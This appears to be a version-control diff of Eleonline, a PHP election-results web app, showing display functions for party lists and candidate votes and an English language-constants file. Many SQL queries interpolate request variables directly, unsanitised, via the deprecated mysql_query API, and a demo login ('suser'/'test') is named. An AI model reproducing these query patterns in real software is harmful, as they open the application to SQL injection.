+			<td><b><img class=\"stemma\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_gruppo=$id_gruppo2\"   alt=\"immagine $descr_gruppo\" /></b></td>";
+			echo "</tr>
+			</table>";
+			
+			
+			//Liste collegate
+			if ($numero!=0 and !$votol and $genere>1) 
+			// verifica delle sezioni in relazione ai candidati (comuni >=15000  $LIMIT>=4 non c'e' il voto di lista 5/5/2009
+
+			if ($genere!=2 && $fascia>$limite)
+			      echo "<div><h6>Liste:"._SEZSCRU." $numero_l "._SU." $sezioni_l</h6></div>";
+			else
+			    if(!$circo and $votog) // non per le circoscrizionali, senato e camera
+			      echo "<div><h6>"._SEZSCRU." $numero_c "._SU." $sezioni_l</h6></div>";
+			
+			
+			echo "<table class=\"table-80\"><tr>";
+			$result2 = mysql_query("select id_cons ,id_lista ,num_lista, descrizione  from ".$prefix."_ele_lista where id_cons='$id_cons' and id_gruppo='$id_gruppo2'  ORDER BY num_lista " , $dbi);
+			$i=0;
+			while(list($id_cons2,$id_lista2,$num_lista, $descr_lista) = mysql_fetch_row($result2)) {
+  				if ($num_lista!=0) {
+			
+				$res_lista = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons='$id_cons' and id_lista='$id_lista2'", $dbi);
+		 		list($voti_lista) = mysql_fetch_row($res_lista);
+			
+				
+			        // calcolo della percentuale
+				if ($circo){ // circoscrizioni
+					$voti_lista_tutti='';
+					
+					$res_circ = mysql_query("select id_lista from ".$prefix."_ele_lista where id_circ='$id_circ'", $dbi);
+		 			while(list($lista_id) = mysql_fetch_row($res_circ)){
+					
+					  $res_circ_voti = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_lista='$lista_id'", $dbi);
+					  list($voti) = mysql_fetch_row($res_circ_voti);
+					 $voti_lista_tutti=$voti_lista_tutti+$voti;
+					  //	
+					}
+					
+				}else{
+				
+				// tutti 
+					$res_lista_tutti = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons='$id_cons'", $dbi);
+					list($voti_lista_tutti) = mysql_fetch_row($res_lista_tutti);
+				}
+				
+				
+				
+				if($voti_lista_tutti!=0){
+					$perc_lista=number_format(($voti_lista*100)/$voti_lista_tutti,5); 
+					$perc_lista=number_format($perc_lista,3);// add luc 11 feb 2007
+				}else{ 
+					$perc_lista='';
+				}
+				
+				
+				
+					
+				$i++;
+				echo "<td class=\"table-main\"><a href=\"modules.php?name=Elezioni&amp;id_gruppo=$id_gruppo2&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen&amp;id_lista=$id_lista2&amp;op=partiti&amp;voti_lista=$voti_lista&amp;perc_lista=$perc_lista&amp;id_comune=$id_comune\">
+				<img class=\"stemma\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_lista=$id_lista2\"  alt=\"\" /><br />N. $num_lista  $descr_lista";
+				
+				if ($voti_lista) echo "<br />voti: $voti_lista ";
+				// tolta momentaneamnete per le circ
+				if ($perc_lista) echo "<span class=\"red\"> $perc_lista </span>%";
+				
+				echo "</a></td>";
+				}
+				if (($i%3) ==0) echo "</tr><tr>";
+			}
+			
+			if (($i%3) !=0)echo "</tr></table>";else echo "<td></td></tr></table>";
+					
+		    }
+	    }	
+	echo "";
+	
+	
+	
+	
+	
+	
+	}else{
+		// tot liste
+		$res = mysql_query("SELECT *  FROM ".$prefix."_ele_lista where id_cons='$id_cons' $circos ", $dbi);
+    		$max = mysql_num_rows($res);
+		
+		// tot voti liste
+		if($circo)$res_lista_tutti = mysql_query("select sum(t1.voti)  from ".$prefix."_ele_voti_lista as t1, ".$prefix."_ele_lista as t2 where t1.id_lista=t2.id_lista and t1.id_cons='$id_cons' and t2.id_circ='$id_circ'", $dbi);
+		else $res_lista_tutti = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons='$id_cons'", $dbi);
+		
+		list($voti_lista_tutti) = mysql_fetch_row($res_lista_tutti);
+		
+    		$result = mysql_query("select id_cons ,id_lista ,num_lista, descrizione  from ".$prefix."_ele_lista where id_cons='$id_cons' $circos ORDER BY num_lista  LIMIT $min,$offset", $dbi);
+		while(list($id_cons2,$id_lista,$num_lista, $descr_lista) = mysql_fetch_row($result)) {
+  		if ($num_lista!=0) {
+		// voti lista
+		$res_lista = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons='$id_cons' and id_lista='$id_lista'", $dbi);
+		list($voti_lista) = mysql_fetch_row($res_lista);
+		if($voti_lista_tutti)
+			$perc_lista=number_format(($voti_lista*100)/$voti_lista_tutti,5);
+		else $perc_lista=0;
+		$perc_lista=number_format($perc_lista,2);
+		echo "<table  class=\"table-80\">
+				<tr>"
+				."<td class=\"td-5\"><b>"._NUM."</b></td>"
+				."<td class=\"bggray\"><b>"._DESCR."</b></td>"
+				."<td class=\"td-5\"><b>"._SIMBOLO."</b></td>
+				</tr>";
+			echo "<tr><td class=\"bggray\"><h1><b>$num_lista</b></h1></td>
+			<td class=\"table-main\"><h1>$descr_lista<br />
+			voti: $voti_lista <span class=\"redbig\">$perc_lista %</span></h1>";
+			echo "</td><td><a href=\"modules.php?name=Elezioni&amp;id_cons_gen=$id_cons_gen&amp;id_lista=$id_lista&amp;op=partiti&amp;voti_lista=$voti_lista&amp;perc_lista=$perc_lista&amp;id_comune=$id_comune\">
+			<img class=\"stemma\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_lista=$id_lista\"  alt=\"$descr_lista\" /></a>";
+			echo "</td></tr></table>";
+		}
+	}
+    //echo "</table>";
+    }
+    
+    
+
+      page($id_cons_gen,$go,$max,$min,$prev,$next,$offset,$file);
+
+//CloseTable();
+}
+
+function partiti(){
+// visualizza i dati di lista con i candidati
+
+global $genere,$admin, $prefix, $dbi, $offset, $min, $id_cons_gen,$votog,$votol,$circo, $id_cons,$tipo_cons,$file,$prev,$next,$id_circ,$id_comune,$id_lista,$id_gruppo,$voti_lista,$perc_lista;
+ 
+
+
+ 
+  //dati();
+  
+  		if ($circo==1){
+		 $res_circ = mysql_query("select descrizione,num_circ  from ".$prefix."_ele_circoscrizione where id_circ='$id_circ'", $dbi);
+		 list($descr_circ,$num_circ)=mysql_fetch_row($res_circ);
+		 if($num_circ) echo "<center><h1>"._CIRC_N." $num_circ: $descr_circ</h1>";
+		 # numero sezioni
+		 
+		 }
+		 
+		 if ($genere!=4){
+		  $res_gruppo = mysql_query("select descrizione  from ".$prefix."_ele_gruppo where id_gruppo='$id_gruppo'", $dbi);
+		 list($descr_gruppo)=mysql_fetch_row($res_gruppo);
+		
+		 }
+  
+  // numero sezioni scrutinate, escluse circorscrizioni (da aggiungere)
+                if ($circo!=1){
+  			if ($votog) {$tab="lista";}else{$tab="candidati";}
+			$res1 = mysql_query("select *  from ".$prefix."_ele_voti_".$tab." where id_cons='$id_cons' group by id_sez ",$dbi);
+			$numero=mysql_num_rows($res1);
+			$res2 = mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+			$sezioni=mysql_num_rows($res2);
+		}
+  
+  
+  
+    	         
+		 
+		 
+		 
+		 //$result = mysql_query("select id_cons ,id_lista ,num_lista, descrizione  from ".$prefix."_ele_lista where id_lista='$id_lista'", $dbi);
+		 	
+    		$result = mysql_query("select id_cons ,id_lista ,num_lista, descrizione  from ".$prefix."_ele_lista where id_lista='$id_lista'", $dbi);
+		
+		list($id_cons2,$id_lista,$num_lista, $descr_lista) = mysql_fetch_row($result);
+		
+		
+	#	if ($numero!=0) echo "<center><h2>"._SEZSCRU." $numero "._SU." $sezioni</h2></center>";
+		echo " <center><h5>"._LISTA." Numero : <font color=\"red\">$num_lista</font><br /></h5>";
+		
+		
+		echo "<img src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_lista=$id_lista\" width=\"50\" heigth=\"50\" align=\"middle\"><h2> $descr_lista</h2><br />";
+		if ($voti_lista OR $perc_lista){ echo "<h5>
+		Voti: <font color=\"red\">$voti_lista</font> "._PERC.": <font color=\"red\">$perc_lista %</font><br /></h5>";
+		}
+		echo "<center>"._GRUPPO."<h1> $descr_gruppo</h1>";
+		 
+		 
+			
+  		
+		
+		echo "<table width=\"60%\">";
+  		// candidati con voti ottenuti
+		
+		$res_candi = mysql_query("SELECT t1.id_cand , t1.cognome, t1.nome, t1.num_cand, t2.id_cand, sum(t2.voti) as somma  FROM ".$prefix."_ele_candidati as t1 , ".$prefix."_ele_voti_candidati as t2
+		where t1.id_lista='$id_lista' and  t1.id_cand=t2.id_cand  group by t1.id_cand order by somma desc" , $dbi);
+  		//$res_candi = mysql_query("SELECT id_cand , cognome, nome, num_cand  FROM ".$prefix."_ele_candidati 
+		//where id_lista='$id_lista'  and id_cons='$id_cons order by num_cand" , $dbi);
+		$num_candi=mysql_num_rows($res_candi);
+	        if (!$num_candi) {
+		$res_candi = mysql_query("SELECT id_cand , cognome, nome, num_cand  FROM ".$prefix."_ele_candidati 
+		where id_lista='$id_lista'  and id_cons='$id_cons' order by num_cand" , $dbi);
+		echo "<tr bgcolor=\"#EAEAEA\"><td >Numero</td><td>Candidato</td></tr>";
+		while(list($id_cand,$cognome,$nome, $num) = mysql_fetch_row($res_candi)) {
+			
+			echo "<tr><td>[ $num ]</td><td> $cognome $nome</td>";
+		}
+		}else{	
+		echo "<tr bgcolor=\"#EAEAEA\"><td >Numero</td><td>"._CANDIDATO."</td><td>"._PREFERENZE."</td></tr>";
+		while(list($id_cand,$cognome,$nome, $num,$id_cand, $somma) = mysql_fetch_row($res_candi)) {
+			
+			echo "<tr><td>[ $num ]</td><td>
+			<a href=\"modules.php?name=Elezioni&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=candidato_sezione&amp;min=$num&amp;offset=$num&amp;id_lista=$id_lista&amp;orvert=1&amp;offsetsez=$sezioni&id_circ=$id_circ\">
+			$cognome $nome</a></td><td> $somma</td>";
+		}
+			
+			
+			
+			
+			
+			echo "</tr>";
+			}
+		echo "</table>";
+	}
+
+	
+// funzione visualizzazione delle liste per camera e senato con raggruppamenti/coalizioni
+function liste(){
+global $id_cons,$id_cons_gen,$prefix,$dbi,$min,$offset,$op,$tipo_cons,$prev,$next,$votog,$votol,$circo;
+//dati();
+$offset=10;
+if (!isset($min)) $min=0;
+
+// numero sezioni scrutinate sul gruppo
+	if ($circo) $circos = "and id_circ=$id_circ" ; else $circos='';
+	if ($genere==0) $tab="ref"; else $tab="gruppo";
+	$res = mysql_query("select *  from ".$prefix."_ele_voti_".$tab." where id_cons='$id_cons'  $circos group by id_sez ",$dbi);
+	$numero=mysql_num_rows($res);
+	$res = mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos ",$dbi);
+	$sezioni=mysql_num_rows($res);
+	if ($numero!=0) 
+	echo "<div><h2>"._SEZSCRU." $numero "._SU." $sezioni</h2></div>";
+	
+	echo "<div><h1>"._LISTE."</h1></div><br /><br />";
+	
+
+
+	
+	// tot liste
+		$res = mysql_query("SELECT *  FROM ".$prefix."_ele_lista where id_cons='$id_cons'  ", $dbi);
+    		$max = mysql_num_rows($res);
+		
+		// tot voti liste
+		$res_lista_tutti = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons='$id_cons'", $dbi);
+		list($voti_lista_tutti) = mysql_fetch_row($res_lista_tutti);
+		
+    		$result = mysql_query("select id_cons ,id_lista ,id_gruppo, num_lista, descrizione  from ".$prefix."_ele_lista where id_cons='$id_cons'  ORDER BY num_lista  LIMIT $min,$offset", $dbi);
+		while(list($id_cons2,$id_lista,$id_gruppo, $num_lista, $descr_lista) = mysql_fetch_row($result)) {
+  			if ($num_lista!=0) {
+			// voti lista
+			$res_lista = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons='$id_cons' and id_lista='$id_lista'", $dbi);
+			list($voti_lista) = mysql_fetch_row($res_lista);
+			if ($voti_lista_tutti!=0)
+			$perc_lista=number_format(($voti_lista*100)/$voti_lista_tutti,2);
+		        else $perc_lista='';
+			// gruppo
+			$res_gruppo = mysql_query("select descrizione  from ".$prefix."_ele_gruppo where id_gruppo='$id_gruppo'", $dbi);
+			list($descr_gruppo) = mysql_fetch_row($res_gruppo);
+
+
+		 	echo "<table class=\"table-80\"><tr class=\"bggray\">"
+			."<td class=\"td-5\"><b>"._NUM."</b></td>"
+			."<td ><b>"._DESCR."</b></td>"
+			."<td class=\"td-5\"><b>"._SIMBOLO."</b></td>"
+			."<td class=\"td-5\"><b>"._GRUPPO."</b></td></tr>";
+
+
+
+			echo "<tr><td class=\"bggray\"><h1>$num_lista</h1>"
+			."</td>
+			<td class=\"table-main\"><h1>$descr_lista<br />
+			voti: $voti_lista <span class=\"redbig\"> $perc_lista</span> %</h1>";
+			echo "</td>
+			<td><a href=\"modules.php?name=Elezioni&amp;id_gruppo=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_lista=$id_lista&amp;op=partiti&amp;voti_lista=$voti_lista&amp;perc_lista=$perc_lista&amp;id_comune=$id_comune\">
+			<img class=\"stemma\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_lista=$id_lista\" alt=\"$descr_lista\" />";
+			echo "</a></td>
+			<td>
+			<img class=\"stemma\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_gruppo=$id_gruppo\" alt=\"$descr_gruppo\" />
+			<br />$descr_gruppo</td>
+			</tr></table>";
+			}
+		}
+  
+    $file="index";
+    $go=$op;
+    page($id_cons_gen,$go,$max,$min,$prev,$next,$offset,$file);
+    }
+	
+	
+	
+function grafici($id_cons) {
+
+//graf_votanti();
+graf_gruppo();
+//graf_candidato();
+
+}
+
+//visualizzaione a seconda dello stato della consultazione
+// finita si basa sui gruppi o liste per tutte le sezioni
+if (!$op){
+
+        $circos=''; // definizione provvisoria
+	if ($genere==0) {$tab="ref";}else{$tab="gruppo";}
+	if ($votog) {$tab="lista";}else{$tab="gruppo";}
+	$res = mysql_query("select *  from ".$prefix."_ele_voti_".$tab." where id_cons='$id_cons'  $circos group by id_sez ",$dbi);
+	$numero=mysql_num_rows($res);
+	$res = mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos ",$dbi);
+	$sezioni=mysql_num_rows($res);
+	if ($numero==0) $op="gruppo";
+	if ($numero==$sezioni) $op="graf_gruppo";
+	 
+}
+
+switch ($op){
+
+
+    case "circo":
+    	circo();
+    break;
+
+    case "sezione":
+    	sezione();
+    break;
+
+    case "candi":
+      include("candidato.php");
+      candidato();
+    	//candi();
+    break;
+
+    case "gruppo":
+    	gruppo();
+    break;
+    
+    case "partiti":
+    	partiti();
+    BREAK;
+    
+    case "liste":
+    	liste();
+    break;
+    
+    case "come":
+  	switch ($info){
+		case 'dati':
+			circo();
+    		break;
+	   case "confronti":
+   		include("confronti.php");
+   		break;
+	
+		case "affluenze_sez":
+			include("affluenze.php");
+		break;
+		case "votanti":
+			include("votanti.php");
+		break;
+		default:
+    		come($info);
+	}
+   break;
+
+// esterni
+
+   case "consiglieri":
+   include("consiglieri.php");
+   consiglio();
+   break;
+
+   case "gruppo_circo":
+   include("gruppo.php");
+   gruppo_circo();
+   break;
+
+   case "gruppo_sezione":
+   include("gruppo.php");
+   gruppo_circo();
+   break;
+
+   case "lista_circo":
+   include("gruppo.php");
+   gruppo_circo();
+   break;
+
+   case "lista_sezione":
+   include("gruppo.php");
+   gruppo_circo();
+   break;
+
+   case "candidato_circo":
+   include("gruppo.php");
+   gruppo_circo();
+   break;
+
+
+
+   case "candidato_sezione":
+   include("gruppo.php");
+   gruppo_circo();
+   break;
+
+   case "affluenze_graf":
+   include("grafici.php");
+   affluenze_graf();
+   break;
+
+   case "graf_votanti":
+   include("grafici.php");
+   graf_votanti();
+   break;
+
+   case "graf_candidato":
+   include("grafici.php");
+   if (!$circo)graf_candidato();
+   break;
+
+   case "graf_gruppo":
+   include("grafici.php");
+   graf_gruppo();
+   break;
+
+   
+
+   case "tema":
+   	include("theme.php");
+   break;
+
+   case "top":
+   	include("top.php");
+   break;
+   
+   case "contatti":
+   	include("contatti.php");
+   break;
+
+   case "rss":
+   	include("rss.php");
+   break;
+   
+}
+
+if ($csv!=1 && $rss!=1){
+########## icona rss da sistemare in un altra parte con calma...
+global $circo;
+if($genere!=0 && $id_circ==''){ // no referendum ne circoscrizioni
+	echo "<div align=\"right\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=rss&amp;rss=1\"><img class =\"nobordo\" width=\"60\" src=\"modules/Elezioni/images/valid-rss.png\" /></a></div>";
+}
+
+include("footer.php");
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/language/lang-en.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/language/lang-en.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/language/lang-en.php	(revision 44)
@@ -0,0 +1,432 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/* lang_it.php Linguaggio Italiano                                      */
+/************************************************************************/
+global $tipo_cons;
+switch ($tipo_cons){
+	case '':
+		define("_CONSULTAZIONE","Elections");
+		break;
+	case 1:
+		define("_CONSULTAZIONE","Provincial Elections"); //genere 3
+		define("_GRUPPO","Candidate for President");
+		define("_GRUPPI","Candidates for President");
+		define("_GRUPPOLOGO","President's Logo");
+		define("_PRESI","President");
+		define("_CONSI","Councilman");
+		define("_DESCRCONS","PROVINCIAL");
+		define("_SOLO_GRUPPO","Ballots to the group only");
+		define("_VOTI_LISTA","Ballots to the group only");
+		define("_CONSIGLIO","Provincial Council");
+		break;
+	case 2:
+		define("_CONSULTAZIONE","Referendum"); //genere 0
+		define("_GRUPPO","Referendum Question");
+		define("_GRUPPI","Referendum Question");
+		define("_GRUPPOLOGO","Logo");
+		define("_PRESI","Question");
+		define("_DESCRCONS","REFERENDUM");
+		break;
+	case 3:
+		define("_CONSULTAZIONE","Communal Elections"); //genere 5
+		define("_GRUPPO","Candidate for City Mayor");
+		define("_GRUPPI","Candidates for City Mayor");
+		define("_GRUPPOLOGO","Mayor Logo");
+		define("_PRESI","Mayor");
+		define("_CONSI","Councilman");
+		define("_SOLO_GRUPPO","Ballots for candidate Mayor only");
+		define("_VOTI_LISTA","Ballots for the list");
+		define("_CONSIGLIO","City Council");
+		break;
+	case 4:
+		define("_CONSULTAZIONE","Constituency Election");
+		define("_GRUPPI","Candidates for President");
+		define("_GRUPPO","Candidate for President");
+		define("_CONSI","Councilman");
+		define("_CONSIGLIO","Constituency Council");
+		break;
+	case 5: 
+		define("_CONSULTAZIONE","Second Round"); //genere 1
+		define("_GRUPPO","Candidate Mayor");
+		define("_GRUPPOLOGO","Mayor Logo");
+		define("_PRESI","Mayor");
+		define("_DESCRCONS","SECOND ROUND");
+		break;
+	case 6:
+		define("_CONSULTAZIONE","Consultazione Camera"); //genere 2
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 7:
+		define("_CONSULTAZIONE","Consultazione Senato"); //genere 2
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 8:
+		define("_CONSULTAZIONE","European Parliament Election"); //genere 4
+		define("_GRUPPO","List");
+		define("_GRUPPOLOGO","List Logo");
+		define("_CONSI","List Candidate");
+		break;
+	case 9:
+		define("_CONSULTAZIONE","Regional Parliament Election"); //genere 5
+		define("_GRUPPO","Candidate for President");
+		break;
+	case 10: //dal 2006 per senato e camera si ha un raggruppamento delle liste ma senza possibilit?di voto per il gruppo (solo in italia!)
+		define("_CONSULTAZIONE","Consultazione Senato"); //genere 2
+		define("_GRUPPO","Grouping");
+		define("_GRUPPI","Groupings");
+		define("_GRUPPOLOGO","Logo for the List");
+		define("_CONSIGLIO","Senators");
+		break;
+	case 11:
+		define("_CONSULTAZIONE","Chamber of Deputies"); //genere 2
+		define("_GRUPPO","Grouping");
+		define("_GRUPPI","Groupings");
+		define("_GRUPPOLOGO","Logo for the List");
+		define("_CONSIGLIO","Deputies");
+		break;
+	case 12:
+		define("_CONSULTAZIONE","Provincial Elections"); //genere 3
+		define("_GRUPPO","Candidate for President");
+		define("_GRUPPI","Candidates for President");
+		define("_GRUPPOLOGO","President's Logo");
+		define("_PRESI","President");
+		define("_CONSI","Councilman");
+		define("_DESCRCONS","PROVINCIAL");
+		define("_SOLO_GRUPPO","Ballots to the group only");
+		define("_VOTI_LISTA","Ballots to the group only");
+		define("_CONSIGLIO","Provincial Council");
+		break;
+	case 13: 
+		define("_CONSULTAZIONE","Second Round"); //genere 1
+		define("_GRUPPO","Candidate President");
+		define("_GRUPPOLOGO","President Logo");
+		define("_PRESI","President");
+		define("_DESCRCONS","SECOND ROUND");
+		break;
+	case 14:
+		define("_CONSULTAZIONE","European Parliament Election"); 
+		define("_GRUPPO","List");
+		define("_GRUPPOLOGO","List Logo");
+		define("_CONSI","List Candidate");
+		break;
+	case 15:
+		define("_CONSULTAZIONE","Camera Election"); 
+		define("_GRUPPO","Groupings");
+		break;
+	case 16: 
+		define("_CONSULTAZIONE","Senato Election"); 
+		define("_GRUPPO","Groupings");
+		break;
+	case 17: 
+		define("_CONSULTAZIONE","Regional Parliament Election"); 
+		define("_GRUPPO","Candidate for President");
+		break;
+
+}
+
+
+if($tipo_cons==12 or $tipo_cons==14 or $tipo_cons==15 or $tipo_cons==16 or $tipo_cons==17){
+define("_SCEGLI_CIRCO","Choose Borough");
+define("_ELE_CIRCO","Borough Election");
+define("_CIRCO","Borough");
+define("_CIRCOS","Boroughs");
+define("_IDCIRC","Id Borough ");
+define("_CIRCS","Boroughs");
+}else{
+define("_SCEGLI_CIRCO","Choose Constituency");
+define("_ELE_CIRCO","Constituency Election");
+define("_CIRCO","Constituency");
+define("_CIRCOS","Constituencies");
+define("_IDCIRC","Id circos. ");
+define("_CIRCS","Constituencies");
+}
+
+
+define("_VOTI_RAGGR","Sum of ballots");
+define("_LISTA","List");
+define("_LISTE","Lists");
+define("_TEST","If you wont to test Eleonline start inserting username \"suser\" and password \"test\"");
+#define("_GESTIONE","managing vote counting and publishing results");
+define("_TUTTESEDI","All electoral centers");
+define("_ATT_VOTI","Warning! ballots");
+define("_ATT_VOTANTI","Warning! voters");
+define("_NO_TOT_VOTI","is not equal to the total ballots");
+define("_NO_VAL_VOTI","is not equal to the valid ballots");
+define("_ATT_VOTI_REF","Warning! Inserted ballots for the Referendum n.");
+define("_ATT_VOTANTI_REF","Warning! Inserted final ballots for the Referendum n.");
+define("_NO_SOMMA","is not equal to the total ballots:");
+define("_COD_NV","Not valid code ");
+define("_REFERENDUM","Referendum");
+define("_CON_GRUPPI","With groupings");
+define("_NO_VOTO_GRUPPO","Not to vote for the Group");
+define("_LISTE_UNI","One candidate for list");
+define("_NO_VOTO_LISTA","Not to vote for the list");
+define("_NO_VOTO_CANDI","Not to vote for the candidates");
+define("_BALLO","Second round");
+define("_DEFCONS","Define the characteristics of the election");
+define("_SOLO_GRUPPO","Ballots to groups only");
+define("_VOTI_LISTA","Ballots to lists");
+define("_GENCONS0","Referendum");
+define("_GENCONS1","Second round");
+define("_GENCONS2","One candidate for list");
+define("_GENCONS3","Groups and Lists but no ballots for candidates");
+define("_GENCONS4","More candidates for list");
+define("_GENCONS5","Groups and Lists and ballots for candidates");
+define("_CAMBIOPWD","Change Password");
+define("_CHGPWD","Password change");
+define("_ERRPWD","WARNING: ERROR INSERTING PASSWORD!");
+define("_OLDPWD","Old Password");
+define("_NEWPWD1","New Password");
+define("_NEWPWD2","New Password again");
+define("_YES","Yes");
+define("_SEGGI","Seats");
+define("_PRIMONON","First non-elected");
+define("_SINDCONS","Mayor Candidate<br/>Elected Councilman");
+define("_SEGGIMIN","Minority Council Members");
+define("_QUOZIENTI","Quotients");
+define("_CIFRAELE","Electoral <br/>Figure");
+define("_PROIEZCONS","CITY COUNCIL PROJECTION");
+define("_SCELTASIN","Who is City Mayor?");
+define("_COLLEGAMENTI","Linked Lists for Second Round");
+define("_NONCOLLE","Not linked");
+define("_SINDACO","Mayor");
+define("_ISCRITTI","Enrolled");
+define("_INSEZ","in the section");
+define("_PERC","Perc.");
+define("_DOMAGGIORNA","Really do you wont to change voters number in");
+define("_UPDATE","Update");
+define("_ERRORE","Error");  
+define("_VER_STAMPA","Printing version");
+define("_VER_GRAF","Diagrams");
+define("_DETTAGLIO","Detailed");
+define("_COME","How to vote");
+define("_NUMERI","Useful numbers");
+define("_SERVIZI","Services");
+define("_LINK","Useful links");
+define("_CONSULTAZIONI","Elections");
+define("_OPERATORI","Operators");
+define("_AGGIUNGI","Add");
+define("_COLLEGI","Districts");
+define("_DEFCOMUNE","Cities");
+define("_CODICE","Code");
+define("_CENTRALINO","Telephone");
+define("_EMAIL","E-mail");
+define("_FILTRO","Search mask");
+define("_INSCOMUNE","Authorize Cities");
+define("_CONSULTAZIONE_ADM","Election");
+define("_AMMINISTRATORI", "Administrators");
+define("_PASSWORD","Password");
+define("_RIPETI","Password again");
+define("_COMPLESSIVO","all");
+define("_CONTR_CONS","Verification of the ballots to the lists");
+define("_CONTR_GRUP","Verification of the ballots to the groups");
+define("_DATAIN","Starting Date");
+define("_DATAFINE","Ending Date");
+define("_GESTIONE","Managing");
+define("_MODIFY","Modify");
+define("_ESCI","Exit");
+define("_POPOLA","Import");
+define("_SOSPESO","Suspended");
+define("_IMPOSTA_DATI","Administrator");
+define("_INSERISCE_DATI","Operator");
+define("_UTENTE","User");
+define("_PERMESSI","Privileges");
+define("_NULLA","NOT VALID");
+define("_ATTIVA","IN USE");
+define("_ATTIVO","In use");
+define("_CHIUSA","CLOSED");
+define("_ASOLA_LISTA","to the List");
+define("_ASOLO_GRUPPO","to the Groups only");
+define("_COLLEGIO","district");
+define("_INFO","Information");
+define("_CALCONS","Council Projection");
+define("_VOTIL","Ballots to the Lists");
+define("_A","to");
+define("_DA","from");
+define("_DI","of");
+define("_MOSTRA","Show");
+define("_PERCOL","by columns");
+define("_PERRIGHE","by rows");
+define("_COMUNE","City");
+define("_COMUNI","Cities");
+define("_VIS_PERC","Show percentages");
+define("_SEZIONE","Section");
+define("_SEZIONI","Sections");
+define("_UOMINI","Men");
+define("_DONNE","Women");
+define("_COMPLESSIVI","in total");
+define("_VOTIE","Expressed Ballots");
+define("_SEZNOS","Sections to be counted");
+define("_SEZSCR","Counted Sections");
+#define("_LISTA","List");
+define("_PREFLISTA","Ballots to the list");
+define("_CANDIDATO","Candidate");
+define("_GESAMMIN","Gestione Amministrativa ");
+define("_DESCR","Description");
+define("_IMMCONS","Insert Election");
+define("_DOMCANCELLA","Are you sure to delete ");
+define("_FUNZIONI","Modify function ");
+define("_NEXT_MATCH","Next");
+define("_PREV_MATCH","Previous");
+define("_NEXT","Next");
+define("_PREV","Previous");
+define("_SCELTA","Choose");
+define("_SCEGLI","Choose ");
+define("_SEDE","Electoral Center ");
+define("_NUM","Number ");
+define("_IDCONS","Id election ");
+define("_IMM","Inserting");
+define("_TEL","Telephone");
+define("_INDIRIZZO","Address");
+define("_FAX","Fax");
+define("_RESP","Section head");
+define("_MASCHI","Men ");
+define("_FEMMINE","Women ");
+define("_TOTS","Totals ");
+define("_TOT","Total ");
+define("_TOTPREF","Sum of ballots");
+define("_GESTIMM","Logo Management");
+define("_SIMBOLO","Logo");
+define("_VER_FLASH","Flash Diagrams");
+define("_VER_HTML","Static Diagrams");
+define("_INVIOFILE","<font color=\"red\">File upload (jpg,gif or png) for Logo</font>");
+define("_FILEDAINVIARE","Choose the file to upload");
+define("_CANCELLAFILE","<font color=\"red\">Delete Logo file</font>");
+define("_SCELTAFILE","Choose the file to delete");
+define("_LISTALOGO","List Logo");
+define("_COGNOME","Surname");
+define("_NOME","Name");
+define("_NOMINATIVO","Name");
+define("_FOTO","Photo");
+define("_NOTE","Notes");
+define("_GESSPOGLIO","Managing Electoral Operations");
+define("_SPOGLIO","Vote Counting");
+define("_VOTI","Ballots");
+define("_VOTANTI","Voters");
+define("_NONVOTANTI","Non Voters");
+define("_ISCR_SEZ","Electors<p>enrolled");
+define("_PREFERENZE","Ballots");
+define("_ORA","Time");
+define("_TITOLO","Title");
+define("_PREAMBOLO","Summary");
+define("_CONTENUTO","Text");
+define("_DATA","Date");
+define("_VOTID","Women Ballots");
+define("_VOTIU","Men Ballots");
+define("_VOTIT","Total of Ballots");
+define("_VALIDI","Valid Ballots");
+define("_NULLI","Non Valid Ballots");
+define("_BIANCHI","Blank Ballots");
+define("_CONTESTATI","Contested Ballots");
+define("_TOTALEVOTI","Total of Ballots");
+define("_TOT_ULT","Voters at end");
+define("_VOTIINS","Inserted Ballots");
+define("_CANDINS","Inserted Candidates");
+define("_TOTNON","Total of non valid Ballots");
+define("_CANDIDATI","Candidates");
+define("_DATIG","General Informations");
+define("_AVENTI","Electors"); //Aventi Diritto
+define("_SI","Yes");
+define("_NO","No");
+define("_AFFLUENZE","Affluence");
+define("_NOTA","The information in this pages, susceptible of modifications, are unofficial. They have pure informative value.");
+define("_DISCLAIMER","Data are unofficial.");
+define("_DATI","General data");
+define("_ORE","time:");
+define("_ALLE","at");
+define("_DEL","of the");
+define("_STATO","State");
+define("_OK","Ok");
+define("_ANCHE","also");
+define("_VISUALIZZA","Show the data");
+define("_TIPO","Type");
+define("_CONSULTA","Election");
+define("_PERCE","Percentages");
+define("_RISULTA","Results");
+define("_RISULTATI","Results");
+define("_PER","for");
+define("_SEZSCRU","Counted Sections ");
+define("_SU","on");
+define("_LA","the");
+define("_ADMINID","User");
